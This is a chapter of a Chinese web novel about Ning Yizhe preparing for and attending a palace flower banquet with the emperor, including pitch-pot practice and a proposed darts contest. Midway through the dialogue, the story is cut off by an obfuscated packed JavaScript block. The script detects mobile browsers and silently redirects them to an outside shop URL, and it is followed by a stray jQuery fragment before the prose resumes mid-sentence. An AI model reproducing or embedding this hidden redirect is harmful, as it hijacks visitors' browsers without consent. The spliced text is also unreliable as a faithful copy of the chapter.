第二十六章
正式宫宴设在晚上,然而午间便开始陆陆续续有官员携带家眷进宫了。
宫人们早有准备,除在御花园备下席坐茶水外,还设有流水传花、投壶等消遣活动,以照顾多方交互。
此时是打入敌人内部的大好机会,但宁以哲像只乌龟似的缩在养心殿,怎么也迈不出门。
按照赏花宴的传统,人人熏香簪花。女子多往发间插花,可与头面、妆容相衬,相得益彰。而男子常别在衣襟、耳后,或是串成腰束,以求花色映人。
宁以哲紫气盈身,唯有腰间束上一抹月白。一头乌发披在肩头,只在脑后用了一支简单的花枝玉簪,看起来清爽妍丽。
他身上别戴的花也未曾喧宾夺主,淡紫色的藤萝缠在腰侧、衣襟。但宫人犹觉单调,在他的耳后留下一瓣罗兰,肤白貌润,无外乎此。
李承安被宫人请进来,见人并无不妥,眉心浅浅地蹙起一道印,“你又在闹什么?”
宁以哲往李承安的衣襟上看过去,帝王惯穿玄色常服,庄重威严的色块下,仅仅是别了一朵小小的石榴花。红艳的一小点,黑龙吐珠般,无声地吸引着人的视线。
瞧瞧,多么简约,多么大气!
为何轮到他便是如此……琳琅满目?
难道他才是赏花宴上的花不成?
“臣……”宁以哲抬手碰了碰鬓角的花瓣,“打扮得是否有些太过分了?”
也不能怪宁以哲,他从前可是批发五件一模一样的白t换着穿的人,现今被人认真打扮了一下,觉得自己哪哪都不对。
李承安挑剔地打量着他,“朕倒觉着还有些素,来人——”
宫人们争先恐后地涌入,低着头,面前的托盘中放着大朵殷红的的牡丹、芍药,哪怕宁以哲看不见他们的脸,也能根据微微抖动的肩膀,识别出大伙都在偷笑。
就连李承安也勾了勾唇。
宁以哲一脸惊恐,对帝王的审美产生了深刻的怀疑。
全福赶紧替自家帝王辩解道:“哎哟宁公子,你大抵是忘了,从前赏花宴,你头簪红云牡丹,身穿一袭柳色绿衣,引得众人争相效仿,几度风流呢……如今比来,确实是素了!”
“……那很坏了。”
红配绿,是要与春斗艳。他宁子过自己是有那副身姿容貌顶着,却引得他人效仿,岂不是看足了笑话?
“行了,”帝王大发慈悲,“文人素来爱美,比你花俏的比比皆是。”
“你年纪尚轻,如此并无不妥……可能随朕去御书房了?”
宁以哲终于放了心,亦步亦趋地跟了上去。
-
这些天,群臣之间也不是没有风声。
平州州府在抓获逆反乱贼一事上立了功,出尽了风头不说,还要从自己州举荐一介平民步衣上来,说是此人才思敏捷,履献奇策,为平反一事出了不少力。
你举荐便举荐吧,倚仗突如其来的功绩捞点好处,大家都是心照不宣的。但又听闻皇帝陛下不仅应允了不说,还亲赐府邸,就隔着王府边上,正有宫里派出的人在修缮呢!
看那规格,最起码是要封个五品官了。
这可算得上莫大的君恩圣宠。继罪臣赵括之后,朝廷之上,至今可还无人能得陛下青眼,莫非要叫一个不知从哪冒出来的布衣抢了去?
行啊,恰逢赏花宴,群臣齐聚,他们倒要开开眼,看此人究竟如何屡献奇策!
御书房内,屡献奇策的宁以哲一连打了好几个喷嚏。
他躲在宽大的衣袖后,待彻底平复了才露出一张轻微透红的脸,“许是熏香有些重……”
李承安瞥向一旁的香案,叫人撤了下去。
此间来御书房也不是为了什么大事,仅仅为宁以哲赴宴做准备。
“投壶可还会?”
按理说失忆并不影响技能使用,但放在宁以哲身上,似乎并不那么准确了。
宁以哲摸着箭,又瞅瞅壶,跃跃欲试,“让臣先试试,熟悉熟悉,没准儿就记起来了。”
一发,两发……
投至第五发时,竟阴差阳错地中了一支。
宁以哲自我感觉不错,向帝王讨夸,“臣这一发如何?”
“……”
李承安随意从宁以哲手里取过一支箭,几乎没有瞄准的动作,只是垂眼看着他,抬手轻轻一抛。
“哐当——”
宁以哲转眼追随,文箭正中壶中。
“?”
“若有人寻你比试,直言不会便是。”
总归是真不会,也不存在有什么习惯上的破绽了。
宁以哲:……(?`∧?)
他不信邪地又试了几次,但幸运女神也没再光顾他,除却壶中的两支箭不为所动,地上已经横七竖八,兵败如斯。
宫人小心翼翼地将地面重新扫净,一同扫去的,还有宁以哲所剩无几的颜面。
投壶这玩意得靠练,短时间内是肯定不行了,宁以哲决定另辟蹊经:“……大周尚文,就没有什么文艺向的活动?”
小生不才,熟背唐诗三百首、宋词六百篇,乃至中学生必背满分作文!
李承安想起宁以哲那封通篇白话的信,不忍直言,委婉道:“若流水真这样不长眼将花传与了你,你就——”
宁以哲抢答:“臣定不鸣则已一鸣惊人,绝不给陛下丢脸!”
说完,他朝帝王露出一个“放心吧”的笑容,他胸有成竹、小人得志,就差“桀桀”笑出声了。
帝王是不会错的。
但李承安忽然觉得,他想借着赏花宴让宁以哲空降这事……恐怕错得离谱。
……
作臣子的当然不能来得比帝王还晚,在御书房磨蹭了一会后,宁以哲只能先独自往御花园去了。
小福还是跟着他,免得人生地熟的,再出什么岔子。
意料之中,宁以哲的出现可谓是掀起静谧的轩然大波。
几乎是他踏入御花园的那一刻,响起满园的窃窃私语声,仿佛宫人从哪捞来了一园子的蛇,切切又嘶嘶。
但宁以哲走到哪,哪就噤声,谁也不敢看他,仿佛他真是什么青天白日都能见到的鬼一样。
“……”
宁以哲观察了一圈,最后找到一个看起来十分害怕,又不至于真被吓出什么问题的年轻官员。
两人的视线遥遥对上,对方惊慌失措地回避,宁以哲灿然一笑,徐徐走过去。
小福
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626247|206253||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在旁边小声道:“那是何钟,何中郎,目前在礼部任职,据陛下所言,此人还算清白,宁公子可与其结交一二。”
宁以哲点点头,数步间已经行至了人家跟前。
何钟躲无可躲,只得颤颤巍端起袖子,“在下何钟,见过宁、啊不,还不知道阁下姓名呢……”
宁以哲面上不变,心中连连感叹,不愧年纪轻轻就坐上中郎之位啊,这反应就是快。
他佯作惊讶,“何大人怎猜到我姓宁?”
别管何钟的袖子有多抖了,这会儿满园子的嘈嘈切切都静了。
宁以哲一个大喘气,正想继续说完,一个靠得近的老臣不知怎么,就那么直愣愣地倒了下去。
宁以哲:?怎么还有人碰瓷?
他赶紧举起双手,以示清白。
小福对此见怪不怪,他有条不紊地指挥宫人们将人抬下去找太医,整个应急管理工作用时不过两息。
宁以哲呼出口气,也不敢再逗下去,他同样端起双袖,“在下宁以哲,平州人士,此番初入京都,幸会。”
“哦!哦,”何钟明显回血,脸上的笑容真实了几分,“原来是崔州府举荐之人,幸会幸会……”
这世上不是没有相像之人,这么一回之后,园子里的切切声总算是小了不少。
确定了他是活人,前来邀约试探的人也就多了。如李承安所料,京都之人尤喜投壶,也擅投壶,还讲究个以玩会友。
只是其中不乏来者不善的:“宁大人有所不知,我们京都啊就爱玩这一手,既然大家以后都是同僚了,不如趁着今日来试试手?”
在哪试手不好,要在这众目睽睽的宫宴上试手?若是技艺尚可也就罢了,若是贻笑大方,恐怕也要惹上帝王不快。
在场的人哪能不知道这是在打什么主意,今日若是换个不这么醒目的人,或许也不会有这一遭。从前的宁子过也醒目,但谁能玩得过他?如今同样的惊艳皮囊,换了个身份背景,那可太不一样了。
甭管是不是同一个人吧,人骨子里的那点劣根性就在这:我玩不上正主,还不能耍耍平替吗?
何钟皱皱眉,他下意识朝宁以哲看去,发现人家气定神闲,那些不怀好意的试探好似压根没放在眼里。
“在地上投有什么意思?”
宁以哲确实不会投壶,但他对这种土著打法熟得不能再熟,他面上一派谦和柔顺,小嘴一张却道:“不如叫人把壶横悬起来,比比投飞箭?”
众人皆是一愣:“投……飞箭?”
宁以哲点头,那头小福已经机灵地唤人去安排了。
所谓投飞箭,其实就是玩飞镖嘛!
这飞镖宁以哲可是从小玩到大的,比起这群习惯于往地上投壶的京都人,他自认更胜一筹。
也不知是有意无意,前来抱壶的宫人竟都是御前露过脸的,不少官员也都见过的。
虽说所用的箭支箭头都是经处理过不会伤人的,但要是真不小心扔到了御前宫人的脸上身上,与冒犯天颜何异?
宁以哲接过宫人递来的几发箭翎,抬手瞄了瞄,觉得高度正好。
“这位什么大人,”宁以哲连人名字都还不知道,但已经学会锱铢必较,“来试试手?”